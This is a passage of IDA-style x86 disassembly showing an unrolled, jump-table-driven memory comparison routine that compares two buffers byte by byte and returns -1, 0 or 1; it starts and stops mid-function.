loc_40B308:				; CODE XREF: sub_40AE7F+476j
		movzx	esi, byte ptr [eax+1Fh]
		movzx	ebx, byte ptr [ecx+1Fh]
		sub	esi, ebx
		jz	short loc_40B325
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_40B325
; ---------------------------------------------------------------------------

loc_40B323:				; CODE XREF: sub_40AE7F+430j
		xor	esi, esi

loc_40B325:				; CODE XREF: sub_40AE7F+493j
					; sub_40AE7F+4A2j
		test	esi, esi
		jnz	short loc_40B34B
		add	eax, edx
		add	ecx, edx
		sub	edi, edx

loc_40B32F:				; CODE XREF: sub_40AE7F+39j
		cmp	edi, edx
		jnb	loc_40AEBD
		add	eax, edi
		add	ecx, edi
		cmp	edi, 1Fh	; switch 32 cases
		ja	loc_40B71E	; default
					; jumptable 0040B344 case 0
		jmp	ds:off_40C47F[edi*4] ; switch jump
; ---------------------------------------------------------------------------

loc_40B34B:				; CODE XREF: sub_40AE7F+5Dj
					; sub_40AE7F+7Ej ...
		mov	eax, esi
		jmp	loc_40B720
; ---------------------------------------------------------------------------

loc_40B352:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-1Ch]	; jumptable 0040B344 case 28
		cmp	edx, [ecx-1Ch]
		jz	short loc_40B3CB
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40B376
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40B34B

loc_40B376:				; CODE XREF: sub_40AE7F+4E4j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40B393
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40B34B

loc_40B393:				; CODE XREF: sub_40AE7F+501j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40B3B0
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_40B34B

loc_40B3B0:				; CODE XREF: sub_40AE7F+51Ej
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40B3CD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B3CD
; ---------------------------------------------------------------------------

loc_40B3CB:				; CODE XREF: sub_40AE7F+4D9j
		xor	esi, esi

loc_40B3CD:				; CODE XREF: sub_40AE7F+53Bj
					; sub_40AE7F+54Aj
		test	esi, esi
		jnz	loc_40B34B

loc_40B3D5:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-18h]	; jumptable 0040B344 case 24
		cmp	edx, [ecx-18h]
		jz	short loc_40B45A
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40B3FD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B3FD:				; CODE XREF: sub_40AE7F+567j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40B41E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B41E:				; CODE XREF: sub_40AE7F+588j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40B43F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B43F:				; CODE XREF: sub_40AE7F+5A9j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40B45C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B45C
; ---------------------------------------------------------------------------

loc_40B45A:				; CODE XREF: sub_40AE7F+55Cj
		xor	esi, esi

loc_40B45C:				; CODE XREF: sub_40AE7F+5CAj
					; sub_40AE7F+5D9j
		test	esi, esi
		jnz	loc_40B34B

loc_40B464:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-14h]	; jumptable 0040B344 case 20
		cmp	edx, [ecx-14h]
		jz	short loc_40B4E9
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40B48C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B48C:				; CODE XREF: sub_40AE7F+5F6j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40B4AD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B4AD:				; CODE XREF: sub_40AE7F+617j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40B4CE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B4CE:				; CODE XREF: sub_40AE7F+638j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40B4EB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B4EB
; ---------------------------------------------------------------------------

loc_40B4E9:				; CODE XREF: sub_40AE7F+5EBj
		xor	esi, esi

loc_40B4EB:				; CODE XREF: sub_40AE7F+659j
					; sub_40AE7F+668j
		test	esi, esi
		jnz	loc_40B34B

loc_40B4F3:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-10h]	; jumptable 0040B344 case 16
		cmp	edx, [ecx-10h]
		jz	short loc_40B578
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40B51B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B51B:				; CODE XREF: sub_40AE7F+685j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40B53C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B53C:				; CODE XREF: sub_40AE7F+6A6j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40B55D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B55D:				; CODE XREF: sub_40AE7F+6C7j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40B57A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B57A
; ---------------------------------------------------------------------------

loc_40B578:				; CODE XREF: sub_40AE7F+67Aj
		xor	esi, esi

loc_40B57A:				; CODE XREF: sub_40AE7F+6E8j
					; sub_40AE7F+6F7j
		test	esi, esi
		jnz	loc_40B34B

loc_40B582:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-0Ch]	; jumptable 0040B344 case 12
		cmp	edx, [ecx-0Ch]
		jz	short loc_40B608
		movzx	edx, byte ptr [ecx-0Ch]
		movzx	esi, byte ptr [eax-0Ch]
		sub	esi, edx
		jz	short loc_40B5AB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B5AB:				; CODE XREF: sub_40AE7F+715j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40B5CC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B5CC:				; CODE XREF: sub_40AE7F+736j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40B5ED
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B5ED:				; CODE XREF: sub_40AE7F+757j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_40B60A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B60A
; ---------------------------------------------------------------------------

loc_40B608:				; CODE XREF: sub_40AE7F+709j
		xor	esi, esi

loc_40B60A:				; CODE XREF: sub_40AE7F+778j
					; sub_40AE7F+787j
		test	esi, esi
		jnz	loc_40B34B

loc_40B612:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-8]	; jumptable 0040B344 case 8
		cmp	edx, [ecx-8]
		jz	short loc_40B697
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40B63A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B63A:				; CODE XREF: sub_40AE7F+7A4j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40B65B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B65B:				; CODE XREF: sub_40AE7F+7C5j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40B67C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B67C:				; CODE XREF: sub_40AE7F+7E6j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40B699
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B699
; ---------------------------------------------------------------------------

loc_40B697:				; CODE XREF: sub_40AE7F+799j
		xor	esi, esi

loc_40B699:				; CODE XREF: sub_40AE7F+807j
					; sub_40AE7F+816j
		test	esi, esi
		jnz	loc_40B34B

loc_40B6A1:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-4]	; jumptable 0040B344 case 4
		cmp	edx, [ecx-4]
		jz	short loc_40B718
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40B6C3
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_40B6F9

loc_40B6C3:				; CODE XREF: sub_40AE7F+833j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40B6DE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_40B6F9

loc_40B6DE:				; CODE XREF: sub_40AE7F+84Ej
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_40B6FD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	short loc_40B6FD

loc_40B6F9:				; CODE XREF: sub_40AE7F+842j
					; sub_40AE7F+85Dj
		mov	eax, edx
		jmp	short loc_40B71A
; ---------------------------------------------------------------------------

loc_40B6FD:				; CODE XREF: sub_40AE7F+869j
					; sub_40AE7F+878j
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		sub	eax, ecx
		jz	short loc_40B71A
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	short loc_40B71A
; ---------------------------------------------------------------------------

loc_40B718:				; CODE XREF: sub_40AE7F+828j
		xor	eax, eax

loc_40B71A:				; CODE XREF: sub_40AE7F+87Cj
					; sub_40AE7F+888j ...
		test	eax, eax
		jnz	short loc_40B720

loc_40B71E:				; CODE XREF: sub_40AE7F+4BFj
					; sub_40AE7F+4C5j ...
		xor	eax, eax	; default
					; jumptable 0040B344 case 0

loc_40B720:				; CODE XREF: sub_40AE7F+4CEj
					; sub_40AE7F+89Dj ...
		pop	ebx
		jmp	loc_40C479
; ---------------------------------------------------------------------------

loc_40B726:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-1Dh]	; jumptable 0040B344 case 29
		cmp	edx, [ecx-1Dh]
		jz	short loc_40B7AB
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40B74E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B74E:				; CODE XREF: sub_40AE7F+8B8j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40B76F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B76F:				; CODE XREF: sub_40AE7F+8D9j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40B790
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B790:				; CODE XREF: sub_40AE7F+8FAj
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40B7AD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B7AD
; ---------------------------------------------------------------------------

loc_40B7AB:				; CODE XREF: sub_40AE7F+8ADj
		xor	esi, esi

loc_40B7AD:				; CODE XREF: sub_40AE7F+91Bj
					; sub_40AE7F+92Aj
		test	esi, esi
		jnz	loc_40B34B

loc_40B7B5:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-19h]	; jumptable 0040B344 case 25
		cmp	edx, [ecx-19h]
		jz	short loc_40B83A
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40B7DD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B7DD:				; CODE XREF: sub_40AE7F+947j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40B7FE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B7FE:				; CODE XREF: sub_40AE7F+968j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40B81F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B81F:				; CODE XREF: sub_40AE7F+989j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40B83C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B83C
; ---------------------------------------------------------------------------

loc_40B83A:				; CODE XREF: sub_40AE7F+93Cj
		xor	esi, esi

loc_40B83C:				; CODE XREF: sub_40AE7F+9AAj
					; sub_40AE7F+9B9j
		test	esi, esi
		jnz	loc_40B34B

loc_40B844:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-15h]	; jumptable 0040B344 case 21
		cmp	edx, [ecx-15h]
		jz	short loc_40B8C9
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40B86C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B86C:				; CODE XREF: sub_40AE7F+9D6j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40B88D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B88D:				; CODE XREF: sub_40AE7F+9F7j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_40B8AE
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B8AE:				; CODE XREF: sub_40AE7F+A18j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_40B8CB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B8CB
; ---------------------------------------------------------------------------

loc_40B8C9:				; CODE XREF: sub_40AE7F+9CBj
		xor	esi, esi

loc_40B8CB:				; CODE XREF: sub_40AE7F+A39j
					; sub_40AE7F+A48j
		test	esi, esi
		jnz	loc_40B34B

loc_40B8D3:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-11h]	; jumptable 0040B344 case 17
		cmp	edx, [ecx-11h]
		jz	short loc_40B958
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_40B8FB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B8FB:				; CODE XREF: sub_40AE7F+A65j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40B91C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B91C:				; CODE XREF: sub_40AE7F+A86j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40B93D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B93D:				; CODE XREF: sub_40AE7F+AA7j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_40B95A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B95A
; ---------------------------------------------------------------------------

loc_40B958:				; CODE XREF: sub_40AE7F+A5Aj
		xor	esi, esi

loc_40B95A:				; CODE XREF: sub_40AE7F+AC8j
					; sub_40AE7F+AD7j
		test	esi, esi
		jnz	loc_40B34B

loc_40B962:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-0Dh]	; jumptable 0040B344 case 13
		cmp	edx, [ecx-0Dh]
		jz	short loc_40B9E7
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_40B98A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B98A:				; CODE XREF: sub_40AE7F+AF4j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_40B9AB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B9AB:				; CODE XREF: sub_40AE7F+B15j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_40B9CC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40B9CC:				; CODE XREF: sub_40AE7F+B36j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_40B9E9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40B9E9
; ---------------------------------------------------------------------------

loc_40B9E7:				; CODE XREF: sub_40AE7F+AE9j
		xor	esi, esi

loc_40B9E9:				; CODE XREF: sub_40AE7F+B57j
					; sub_40AE7F+B66j
		test	esi, esi
		jnz	loc_40B34B

loc_40B9F1:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-9]	; jumptable 0040B344 case 9
		cmp	edx, [ecx-9]
		jz	short loc_40BA77
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_40BA1A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BA1A:				; CODE XREF: sub_40AE7F+B84j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40BA3B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BA3B:				; CODE XREF: sub_40AE7F+BA5j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40BA5C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BA5C:				; CODE XREF: sub_40AE7F+BC6j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40BA79
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BA79
; ---------------------------------------------------------------------------

loc_40BA77:				; CODE XREF: sub_40AE7F+B78j
		xor	esi, esi

loc_40BA79:				; CODE XREF: sub_40AE7F+BE7j
					; sub_40AE7F+BF6j
		test	esi, esi
		jnz	loc_40B34B

loc_40BA81:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-5]	; jumptable 0040B344 case 5
		cmp	edx, [ecx-5]
		jz	short loc_40BB06
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_40BAA9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BAA9:				; CODE XREF: sub_40AE7F+C13j
		movzx	esi, byte ptr [eax-4]
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_40BACA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BACA:				; CODE XREF: sub_40AE7F+C34j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_40BAEB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BAEB:				; CODE XREF: sub_40AE7F+C55j
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_40BB08
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BB08
; ---------------------------------------------------------------------------

loc_40BB06:				; CODE XREF: sub_40AE7F+C08j
		xor	esi, esi

loc_40BB08:				; CODE XREF: sub_40AE7F+C76j
					; sub_40AE7F+C85j
		test	esi, esi
		jnz	loc_40B34B

loc_40BB10:				; CODE XREF: sub_40AE7F+4C5j
					; sub_40AE7F+10B5j ...
		movzx	ecx, byte ptr [ecx-1] ;	jumptable 0040B344 case	1
		movzx	eax, byte ptr [eax-1]
		sub	eax, ecx
		jz	loc_40B720
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	loc_40B720
; ---------------------------------------------------------------------------

loc_40BB32:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-1Eh]	; jumptable 0040B344 case 30
		cmp	edx, [ecx-1Eh]
		jz	short loc_40BBB7
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Eh]
		sub	esi, edx
		jz	short loc_40BB5A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BB5A:				; CODE XREF: sub_40AE7F+CC4j
		movzx	esi, byte ptr [eax-1Dh]
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40BB7B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BB7B:				; CODE XREF: sub_40AE7F+CE5j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40BB9C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BB9C:				; CODE XREF: sub_40AE7F+D06j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40BBB9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40BBB9
; ---------------------------------------------------------------------------

loc_40BBB7:				; CODE XREF: sub_40AE7F+CB9j
		xor	esi, esi

loc_40BBB9:				; CODE XREF: sub_40AE7F+D27j
					; sub_40AE7F+D36j
		test	esi, esi
		jnz	loc_40B34B

loc_40BBC1:				; CODE XREF: sub_40AE7F+4C5j
					; DATA XREF: .text:off_40C47Fo
		mov	edx, [eax-1Ah]	; jumptable 0040B344 case 26
		cmp	edx, [ecx-1Ah]
		jz	short loc_40BC46
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_40BBE9
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BBE9:				; CODE XREF: sub_40AE7F+D53j
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_40BC0A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BC0A:				; CODE XREF: sub_40AE7F+D74j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_40BC2B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_40B34B

loc_40BC2B:				; CODE XREF: sub_40AE7F+D95j
		movzx	esi, byte ptr [eax-17h]
